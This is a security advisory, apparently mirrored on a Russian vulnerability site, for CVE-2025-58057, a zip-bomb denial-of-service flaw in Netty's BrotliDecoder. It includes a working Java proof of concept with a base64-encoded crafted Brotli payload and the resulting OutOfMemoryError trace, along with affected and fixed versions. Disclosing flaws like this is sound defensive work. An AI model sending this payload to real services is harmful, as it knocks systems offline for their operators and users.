GHSA-3p8m-j85q-pgmj

Опубликовано: 03 сент. 2025

Источник: github

Github: Прошло ревью

CVSS4: 6.9

Описание

Netty's decoders vulnerable to DoS via zip bomb style attack

Summary

With specially crafted input, BrotliDecoder and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service.

Details

BrotliDecoder.decompress has no limit in how often it calls pull, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb.

Tested on 4.1.118, but there were no changes to the decoder since.

PoC

Run this test case with -Xmx1G:

import io.netty.buffer.Unpooled; import io.netty.channel.embedded.EmbeddedChannel; import java.util.Base64; public class T { public static void main(String[] args) { EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder()); channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA="))); } }

Error:

Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824) at java.base/java.nio.Bits.reserveMemory(Bits.java:178) at java.base/java.nio.DirectByteBuffer.<init>(DirectByteBuffer.java:121) at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332) at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718) at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693) at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213) at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195) at io.netty.buffer.PoolArena.allocate(PoolArena.java:137) at io.netty.buffer.PoolArena.allocate(PoolArena.java:127) at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403) at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188) at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179) at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116) at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70) at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101) at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137) at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530) at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469) at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290) at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444) at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412) at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357) at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440) at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868) at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348) at io.netty.handler.codec.compression.T.main(T.java:11)

Impact

DoS for anyone using BrotliDecoder on untrusted input.

Ссылки

Пакеты

Наименование

io.netty:netty-codec-compression

maven

Затронутые версииВерсия исправления

>= 4.2.0.Alpha1, < 4.2.5.Final

4.2.5.Final

Наименование

io.netty:netty-codec

maven

Затронутые версииВерсия исправления

< 4.1.125.Final

4.1.125.Final

EPSS

Процентиль: 9%

0.00034

Низкий

6.9 Medium

CVSS4

CVE ID

CVE-2025-58057

Дефекты

CWE-409

Связанные уязвимости

CVE-2025-58057

CVSS3: 7.5

ubuntu

3 месяца назад

Netty is an asynchronous event-driven network application framework for rapid development of maintainable high performance protocol servers & clients. In netty-codec-compression versions 4.1.124.Final and below, and netty-codec versions 4.2.4.Final and below, when supplied with specially crafted input, BrotliDecoder and certain other decompression decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. BrotliDecoder.decompress has no limit in how often it calls pull, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is fixed in versions 4.1.125.Final of netty-codec and 4.2.5.Final of netty-codec-compression.